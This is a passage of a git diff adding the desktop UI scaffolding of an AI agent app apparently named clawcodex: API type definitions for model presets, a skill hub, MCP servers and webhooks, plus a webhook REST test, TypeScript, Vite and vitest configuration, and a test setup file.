+  reasoning_effort?: string
+  enabled?: boolean
+}
+
+export interface MoaConfigResponse {
+  default_preset: string
+  active_preset: string
+  presets: Record<
+    string,
+    {
+      aggregator: MoaModelSlot
+      aggregator_temperature: number
+      degraded_reference_policy: 'loud' | 'silent'
+      enabled: boolean
+      max_tokens: number
+      reference_models: MoaModelSlot[]
+      reference_temperature: number
+      /** Optional advisor output cap — round-tripped, not edited here. */
+      reference_max_tokens?: number | null
+      /** Fan-out cadence (user_turn default | per_iteration | every_n:N) — round-tripped. */
+      fanout?: string
+      reference_timeout: number | null
+    }
+  >
+  aggregator: MoaModelSlot
+  aggregator_temperature: number
+  degraded_reference_policy: 'loud' | 'silent'
+  enabled: boolean
+  max_tokens: number
+  reference_models: MoaModelSlot[]
+  reference_temperature: number
+  reference_timeout: number | null
+}
+
+export interface ModelAssignmentRequest {
+  /** Optional API key for a custom/local endpoint. Persisted to model.api_key
+   *  (where the runtime reads it) for self-hosted endpoints that require auth.
+   *  Only honored for custom/local providers on the main slot. */
+  api_key?: string
+  /** OpenAI-compatible endpoint URL. Only honored for custom/local providers
+   *  on the main slot — wires a self-hosted endpoint into runtime resolution. */
+  base_url?: string
+  model: string
+  provider: string
+  scope: 'main' | 'auxiliary'
+  task?: string
+}
+
+/** An auxiliary task still pinned to a provider that differs from the
+ *  newly-selected main provider after a main-model switch. */
+export interface StaleAuxAssignment {
+  task: string
+  provider: string
+  model: string
+}
+
+/** One skill-hub source (official index, GitHub, skills.sh, …) as reported by
+ *  `GET /api/skills/hub/sources`. */
+export interface SkillHubSource {
+  id: string
+  label: string
+  available?: boolean
+  rate_limited?: boolean
+  // False when the centralized index already covers this source, so the UI's
+  // per-source search fan-out skips it (avoids redundant external API calls).
+  searchable?: boolean
+}
+
+/** A searchable/installable hub skill from `GET /api/skills/hub/search`. */
+export interface SkillHubResult {
+  name: string
+  description: string
+  source: string
+  identifier: string
+  trust_level: string
+  repo: string | null
+  tags: string[]
+}
+
+export interface SkillHubInstalledEntry {
+  name: string | null
+  trust_level: string | null
+  scan_verdict: string | null
+}
+
+export interface SkillHubSourcesResponse {
+  sources: SkillHubSource[]
+  index_available: boolean
+  featured: SkillHubResult[]
+  installed: Record<string, SkillHubInstalledEntry>
+}
+
+export interface SkillHubSearchResponse {
+  results: SkillHubResult[]
+  source_counts: Record<string, number>
+  timed_out: string[]
+  installed: Record<string, SkillHubInstalledEntry>
+}
+
+/** `GET /api/skills/hub/preview` — SKILL.md + manifest without installing. */
+export interface SkillHubPreview {
+  name: string
+  description: string
+  source: string
+  identifier: string
+  trust_level: string
+  repo: string | null
+  tags: string[]
+  skill_md: string
+  files: string[]
+}
+
+export interface SkillHubScanFinding {
+  severity: string
+  category: string
+  file: string
+  line: number | null
+  description: string
+}
+
+/** `GET /api/skills/hub/scan` — install-time security scan verdict. */
+export interface SkillHubScanResult {
+  name: string
+  identifier: string
+  source: string
+  trust_level: string
+  verdict: string
+  summary: string
+  policy: 'allow' | 'ask' | 'block'
+  policy_reason: string | null
+  findings: SkillHubScanFinding[]
+  severity_counts: Record<string, number>
+}
+
+/** One configured MCP server row from `GET /api/mcp/servers`. */
+export interface McpServerSummary {
+  name: string
+  transport: string
+  command: string | null
+  args: string[]
+  url: string | null
+  enabled: boolean
+  tools: string[] | null
+}
+
+export interface McpServerTestResponse {
+  ok: boolean
+  error?: string
+  tools: { name: string; description: string }[]
+}
+
+/** One Nous-approved MCP catalog entry from `GET /api/mcp/catalog`. */
+export interface McpCatalogEntry {
+  name: string
+  description: string
+  source: string
+  transport: string
+  auth_type: string
+  required_env: { name: string; prompt: string; required: boolean }[]
+  command: string | null
+  args: string[]
+  url: string | null
+  install_url: string | null
+  install_ref: string | null
+  bootstrap: string[]
+  default_enabled: string[] | null
+  post_install: string
+  needs_install: boolean
+  installed: boolean
+  enabled: boolean
+}
+
+export interface McpCatalogResponse {
+  entries: McpCatalogEntry[]
+  diagnostics: { name: string; kind: string; message: string }[]
+}
+
+/** `GET /api/memory` — active provider + built-in memory file sizes. */
+export interface MemoryStatusResponse {
+  active: string
+  providers: { name: string; description: string; configured: boolean }[]
+  builtin_files: { memory: number; user: number }
+}
+
+/** `GET /api/curator` — background skill-curator status. */
+export interface CuratorStatusResponse {
+  enabled: boolean
+  paused: boolean
+  interval_hours: number | null
+  last_run_at: string | null
+  min_idle_hours: number | null
+  stale_after_days: number | null
+  archive_after_days: number | null
+}
+
+/** `POST /api/ops/debug-share` — shareable diagnostics upload result. */
+export interface DebugShareResponse {
+  ok: boolean
+  urls: Record<string, string>
+  failures: Record<string, string>
+  redacted: boolean
+  auto_delete_seconds: number | null
+}
+
+export interface ModelAssignmentResponse {
+  /** Persisted endpoint URL for custom/local providers (echoed back). */
+  base_url?: string
+  /** Toolset keys auto-routed through the Nous Tool Gateway as a result of
+   *  switching the main provider to Nous. Empty unless provider === 'nous'
+   *  and the user is a paid subscriber with unconfigured tools. */
+  gateway_tools?: string[]
+  model?: string
+  ok: boolean
+  provider?: string
+  reset?: boolean
+  scope?: string
+  /** Auxiliary slots still pinned to a different provider than the new main.
+   *  Switching main never clears aux pins; this lets the UI warn the user
+   *  their helper tasks aren't following the switch. Only set on scope:'main'. */
+  stale_aux?: StaleAuxAssignment[]
+  tasks?: string[]
+}
diff --git a/ui-desktop/src/vite-env.d.ts b/ui-desktop/src/vite-env.d.ts
new file mode 100644
index 000000000..11f02fe2a
--- /dev/null
+++ b/ui-desktop/src/vite-env.d.ts
@@ -0,0 +1 @@
+/// <reference types="vite/client" />
diff --git a/ui-desktop/src/webhooks-rest.test.ts b/ui-desktop/src/webhooks-rest.test.ts
new file mode 100644
index 000000000..14c956c4a
--- /dev/null
+++ b/ui-desktop/src/webhooks-rest.test.ts
@@ -0,0 +1,65 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { createWebhook, deleteWebhook, enableWebhooks, getWebhooks, setWebhookEnabled } from './clawcodex'
+
+describe('Webhook REST parity helpers', () => {
+  let api: ReturnType<typeof vi.fn>
+
+  beforeEach(() => {
+    api = vi.fn().mockResolvedValue({})
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { api }
+    })
+  })
+
+  afterEach(() => {
+    vi.restoreAllMocks()
+    Reflect.deleteProperty(window, 'clawcodexDesktop')
+  })
+
+  it('lists webhooks from the admin endpoint', async () => {
+    await getWebhooks()
+
+    expect(api).toHaveBeenCalledWith(expect.objectContaining({ path: '/api/webhooks' }))
+  })
+
+  it('enables the webhook platform with POST', async () => {
+    await enableWebhooks()
+
+    expect(api).toHaveBeenCalledWith(expect.objectContaining({ method: 'POST', path: '/api/webhooks/enable' }))
+  })
+
+  it('creates a subscription with the full payload', async () => {
+    const body = {
+      deliver: 'telegram',
+      deliver_only: true,
+      description: 'push events',
+      events: ['push'],
+      name: 'github-push',
+      prompt: 'summarize the push'
+    }
+
+    await createWebhook(body)
+
+    expect(api).toHaveBeenCalledWith(expect.objectContaining({ body, method: 'POST', path: '/api/webhooks' }))
+  })
+
+  it('encodes the name when deleting a subscription', async () => {
+    await deleteWebhook('my hook')
+
+    expect(api).toHaveBeenCalledWith(expect.objectContaining({ method: 'DELETE', path: '/api/webhooks/my%20hook' }))
+  })
+
+  it('toggles a subscription enabled state via PUT', async () => {
+    await setWebhookEnabled('github-push', false)
+
+    expect(api).toHaveBeenCalledWith(
+      expect.objectContaining({
+        body: { enabled: false },
+        method: 'PUT',
+        path: '/api/webhooks/github-push/enabled'
+      })
+    )
+  })
+})
diff --git a/ui-desktop/tsconfig.e2e.json b/ui-desktop/tsconfig.e2e.json
new file mode 100644
index 000000000..e0beb8961
--- /dev/null
+++ b/ui-desktop/tsconfig.e2e.json
@@ -0,0 +1,9 @@
+{
+  "extends": "./tsconfig.json",
+  "compilerOptions": {
+    "types": ["node", "@playwright/test"],
+    "composite": true
+  },
+  "include": ["e2e", "playwright.config.ts"],
+  "exclude": ["src", "electron"]
+}
diff --git a/ui-desktop/tsconfig.electron.json b/ui-desktop/tsconfig.electron.json
new file mode 100644
index 000000000..0d2568260
--- /dev/null
+++ b/ui-desktop/tsconfig.electron.json
@@ -0,0 +1,20 @@
+{
+  "extends": "./tsconfig.json",
+  "compilerOptions": {
+    "strict": false,
+    "noImplicitAny": false,
+    "noImplicitThis": false,
+    "strictNullChecks": false,
+    "strictFunctionTypes": false,
+    "strictBindCallApply": false,
+    "strictPropertyInitialization": false,
+    "noUncheckedIndexedAccess": false,
+    "exactOptionalPropertyTypes": false,
+    "ignoreDeprecations": "6.0",
+    "composite": true,
+    "declaration": true,
+    "outDir": "build/electron-types"
+  },
+  "include": ["electron"],
+  "exclude": ["src"]
+}
diff --git a/ui-desktop/tsconfig.json b/ui-desktop/tsconfig.json
new file mode 100644
index 000000000..5e919d890
--- /dev/null
+++ b/ui-desktop/tsconfig.json
@@ -0,0 +1,28 @@
+{
+  "compilerOptions": {
+    "target": "ES2023",
+    "useDefineForClassFields": true,
+    "lib": ["DOM", "DOM.Iterable", "ES2023"],
+    "types": ["node"],
+    "allowJs": false,
+    "skipLibCheck": true,
+    "esModuleInterop": true,
+    "allowSyntheticDefaultImports": true,
+    "strict": true,
+    "forceConsistentCasingInFileNames": true,
+    "module": "ESNext",
+    "moduleResolution": "Bundler",
+    "resolveJsonModule": true,
+    "isolatedModules": true,
+    "jsx": "react-jsx",
+    "paths": {
+      "@/*": ["./src/*"],
+      "@clawcodex/plugin-sdk": ["./src/sdk/index.ts"],
+      "@clawcodex/shared/billing": ["./packages/shared/src/billing-types.ts"],
+      "@clawcodex/shared": ["./packages/shared/src/index.ts"]
+    }
+  },
+  "include": ["src", "./packages/shared/src"],
+  "exclude": ["e2e", "electron", "playwright.config.ts"],
+  "references": [{ "path": "./tsconfig.electron.json" }]
+}
diff --git a/ui-desktop/vite.config.ts b/ui-desktop/vite.config.ts
new file mode 100644
index 000000000..9b8b026e8
--- /dev/null
+++ b/ui-desktop/vite.config.ts
@@ -0,0 +1,169 @@
+import { defineConfig } from 'vite'
+import react from '@vitejs/plugin-react'
+import tailwindcss from '@tailwindcss/vite'
+import path from 'path'
+import fs from 'fs'
+
+// `hgui` symlinks a worktree's node_modules to the main checkout. Vite realpaths
+// those before enforcing server.fs.allow, so codicon/font assets resolve outside
+// the worktree root and 404. Whitelist the real node_modules locations.
+const real = (p: string): string | null => {
+  try {
+    return fs.realpathSync(p)
+  } catch {
+    return null
+  }
+}
+
+const fsAllow = [
+  ...new Set(
+    [
+      path.resolve(__dirname, '.'),
+      real(path.resolve(__dirname, 'node_modules')),
+      real(path.resolve(__dirname, 'node_modules'))
+    ].filter((p): p is string => p !== null)
+  )
+]
+
+// The dev-only render/state churn counters (src/debug) must be imported
+// STATICALLY above react-dom — react-dom captures the devtools hook at module
+// init, so a dynamic import lands too late and observes zero commits. A static
+// side-effect import can't be tree-shaken, so instead the whole graph is
+// aliased out of any non-dev build. `command === 'serve'` covers `vite dev`;
+// the perf harness opts a production build back in with VITE_PERF_PROBE=1.
+const debugEntry = (command: string, env: Record<string, string>) =>
+  command === 'serve' || env.VITE_PERF_PROBE === '1'
+    ? path.resolve(__dirname, './src/debug/dev-only.ts')
+    : path.resolve(__dirname, './src/debug/dev-only.noop.ts')
+
+// The emoji picker (frimousse) fetches `<emojibaseUrl>/<locale>/data.json` at
+// runtime. Its default is a CDN; Electron must work offline, so serve the
+// bundled emojibase-data package at a stable local path instead — middleware
+// in dev, emitted assets in the build. Only the files a locale actually needs.
+const emojibaseDir =
+  real(path.resolve(__dirname, 'node_modules/emojibase-data')) ??
+  real(path.resolve(__dirname, 'node_modules/emojibase-data'))
+
+const EMOJIBASE_PATH = /^[a-z-]+\/(data|messages|shortcodes\/emojibase)\.json$/
+
+const emojibaseAssets = () => ({
+  name: 'clawcodex:emojibase-assets',
+  configureServer(server: {
+    middlewares: { use: (route: string, handler: (req: any, res: any, next: () => void) => void) => void }
+  }) {
+    server.middlewares.use('/emojibase', (req, res, next) => {
+      const rel = (req.url ?? '').split('?')[0].replace(/^\/+/, '')
+      if (!emojibaseDir || !EMOJIBASE_PATH.test(rel)) return next()
+      fs.readFile(path.join(emojibaseDir, rel), (err: unknown, buf: Buffer) => {
+        if (err) return next()
+        res.setHeader('Content-Type', 'application/json')
+        res.setHeader('Cache-Control', 'public, max-age=31536000, immutable')
+        res.end(buf)
+      })
+    })
+  },
+  generateBundle(this: { emitFile: (asset: { type: 'asset'; fileName: string; source: Uint8Array }) => void }) {
+    if (!emojibaseDir) return
+    for (const rel of ['en/data.json', 'en/messages.json', 'en/shortcodes/emojibase.json']) {
+      this.emitFile({
+        type: 'asset',
+        fileName: `emojibase/${rel}`,
+        source: fs.readFileSync(path.join(emojibaseDir, rel))
+      })
+    }
+  }
+})
+
+export default defineConfig(({ command }) => ({
+  base: './',
+  plugins: [react(), tailwindcss(), emojibaseAssets()],
+  css: {
+    // Pin an explicit (empty) PostCSS config. Tailwind is handled entirely by
+    // `@tailwindcss/vite`, so the renderer needs no PostCSS plugins — and
+    // without this, Vite's `postcss-load-config` walks UP the filesystem
+    // looking for a stray `postcss.config.*` / `tailwind.config.*`. The desktop
+    // build runs from inside the user's home tree (e.g.
+    // `C:\Users\<name>\AppData\Local\clawcodex\clawcodex\apps\desktop`), so an
+    // unrelated Tailwind v3 config higher up the tree gets picked up and
+    // reprocesses our v4 stylesheet, failing the build with
+    // "`@layer base` is used but no matching `@tailwind base` directive is
+    // present." Pinning the config makes the build hermetic.
+    postcss: { plugins: [] }
+  },
+  build: {
+    // The renderer intentionally ships FEW chunks (not one, not thousands):
+    //   · `codeSplitting: false` (the old setup) inlines every `lazy()` /
+    //     dynamic import into the entry, so heavyweight lazy-only deps
+    //     (mermaid, shiki grammars, katex) are parsed + evaluated on every
+    //     cold start even though nothing rendered them. By the time the
+    //     bundle hit ~28 MB that eval was ~1s of launch on an M-series.
+    //   · Default splitting emits a chunk per shiki grammar/theme — thousands
+    //     of files, which electron-builder OOMs scanning (#38888).
+    // `advancedChunks` is the middle ground: heavyweight libraries merge into
+    // a handful of named vendor chunks loaded on first use, app-level dynamic
+    // imports stay lazy, and the file count stays in the tens.
+    chunkSizeWarningLimit: 25000,
+    rolldownOptions: {
+      output: {
+        advancedChunks: {
+          groups: [
+            // Shared foundations FIRST (first match wins): an unmatched
+            // module shared by the entry and a heavy chunk gets merged INTO
+            // the heavy chunk, and the entry then statically imports 19 MB of
+            // shiki just to reach react/hast utils — putting the heavy chunk
+            // right back on the boot path.
+            { name: 'vendor-react', test: /node_modules[\\/](react|react-dom|scheduler)[\\/]/ },
+            {
+              name: 'vendor-md',
+              test: /node_modules[\\/](property-information|hast-util-[^\\/]+|mdast-util-[^\\/]+|micromark[^\\/]*|unist-util-[^\\/]+|vfile[^\\/]*|unified|stringify-entities|space-separated-tokens|comma-separated-tokens|zwitch|html-void-elements|devlop|style-to-js|style-to-object|clsx)[\\/]/
+            },
+            // Shared utility packages the entry ALSO uses — kept out of the
+            // heavy groups for the same boot-path reason.
+            {
+              name: 'vendor-util',
+              test: /node_modules[\\/](lodash-es|es-toolkit|uuid|dayjs|d3-array|d3-color|d3-force|d3-interpolate|d3-time[^\\/]*|dompurify|stylis)[\\/]/
+            },
+            // One chunk per heavyweight, lazy-only library family.
+            // @streamdown/code lives WITH shiki because it statically imports
+            // the full shiki bundle.
+            {
+              name: 'mermaid',
+              test: /node_modules[\\/](mermaid|cytoscape|dagre|khroma|elkjs|d3|d3-[^\\/]+|@mermaid-js)[\\/]/
+            },
+            {
+              name: 'shiki',
+              test: /node_modules[\\/](shiki|@shikijs|react-shiki|@streamdown[\\/]code|oniguruma-to-es|oniguruma-parser|regex(-[^\\/]+)?)[\\/]/
+            },
+            { name: 'katex', test: /node_modules[\\/]katex[\\/]/ }
+          ]
+        }
+      }
+    }
+  },
+  resolve: {
+    alias: {
+      '@/debug/dev-only': debugEntry(command, process.env as Record<string, string>),
+      '@': path.resolve(__dirname, './src'),
+      '@clawcodex/plugin-sdk': path.resolve(__dirname, './src/sdk/index.ts'),
+      '@clawcodex/shared/billing': path.resolve(__dirname, 'packages/shared/src/billing-types.ts'),
+      '@clawcodex/shared': path.resolve(__dirname, 'packages/shared/src'),
+      react: path.resolve(__dirname, 'node_modules/react'),
+      'react-dom': path.resolve(__dirname, 'node_modules/react-dom'),
+      'react/jsx-dev-runtime': path.resolve(__dirname, 'node_modules/react/jsx-dev-runtime.js'),
+      'react/jsx-runtime': path.resolve(__dirname, 'node_modules/react/jsx-runtime.js')
+    },
+    dedupe: ['react', 'react-dom']
+  },
+  server: {
+    host: '127.0.0.1',
+    port: 5174,
+    strictPort: true,
+    fs: {
+      allow: fsAllow
+    }
+  },
+  preview: {
+    host: '127.0.0.1',
+    port: 4174
+  }
+}))
diff --git a/ui-desktop/vitest.config.ts b/ui-desktop/vitest.config.ts
new file mode 100644
index 000000000..dd2f38ff3
--- /dev/null
+++ b/ui-desktop/vitest.config.ts
@@ -0,0 +1,31 @@
+import type { TestProjectConfiguration } from 'vitest/config';
+import { defineConfig } from 'vitest/config'
+
+const reactUi: TestProjectConfiguration = {
+  extends: './vite.config.ts',
+  test: {
+    name: 'ui',
+    environment: 'jsdom',
+    setupFiles: ['./vitest.setup.ts'],
+    include: ['src/**/*.test.{ts,tsx}'],
+    globals: true,
+    // The first test in each file pays jsdom env init + full module transform,
+    // which can exceed vitest's 5000ms default under CI/load. 15s gives the
+    // cold start headroom without masking genuinely hung tests.
+    testTimeout: 15_000
+  }
+}
+
+const electronNative: TestProjectConfiguration = {
+  test: {
+    name: 'electron',
+    environment: 'node',
+    include: ['electron/**/*.test.ts', 'scripts/**.test.{ts,mjs}']
+  }
+}
+
+export default defineConfig({
+  test: {
+    projects: [reactUi, electronNative]
+  }
+})
diff --git a/ui-desktop/vitest.setup.ts b/ui-desktop/vitest.setup.ts
new file mode 100644
index 000000000..5e83926d5
--- /dev/null
+++ b/ui-desktop/vitest.setup.ts
@@ -0,0 +1,40 @@
+import { configure } from '@testing-library/react'
+
+// Node 26 defines its own `localStorage` accessor on the global object, which
+// returns `undefined` unless the process was started with --localstorage-file
+// (it warns: "localStorage is not available because --localstorage-file was
+// not provided"). In the jsdom environment `globalThis` IS the window, so that
+// accessor shadows jsdom's Storage and every `localStorage.getItem(...)` in a
+// test throws "Cannot read properties of undefined". Install a real in-memory
+// Storage when the global resolves to nothing, before any test module reads it.
+if (typeof (globalThis as any).localStorage === 'undefined') {
+  const store = new Map<string, string>()
+  const storage: Storage = {
+    get length() {
+      return store.size
+    },
+    key: (i: number) => [...store.keys()][i] ?? null,
+    getItem: (k: string) => store.get(String(k)) ?? null,
+    setItem: (k: string, v: string) => void store.set(String(k), String(v)),
+    removeItem: (k: string) => void store.delete(String(k)),
+    clear: () => store.clear(),
+  }
+  for (const target of [globalThis, (globalThis as any).window].filter(Boolean)) {
+    Object.defineProperty(target, 'localStorage', {
+      value: storage,
+      configurable: true,
+      writable: true,
+    })
+  }
+}
+
+// React 19 + Testing Library 16: opt into the act environment so render(),
+// fireEvent(), and findBy* queries automatically flush state updates without
+// spurious "not wrapped in act(...)" warnings.
+;(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true
+
+// findBy*/waitFor default to a 1000ms deadline — too tight for async-heavy
+// panels (radix menus, refetch chains) when the full suite runs under xdist
+// CPU contention in CI. Success still resolves the instant the node appears;
+// the wider deadline only absorbs a starved runner, killing timing flakes.
+configure({ asyncUtilTimeout: 5000 })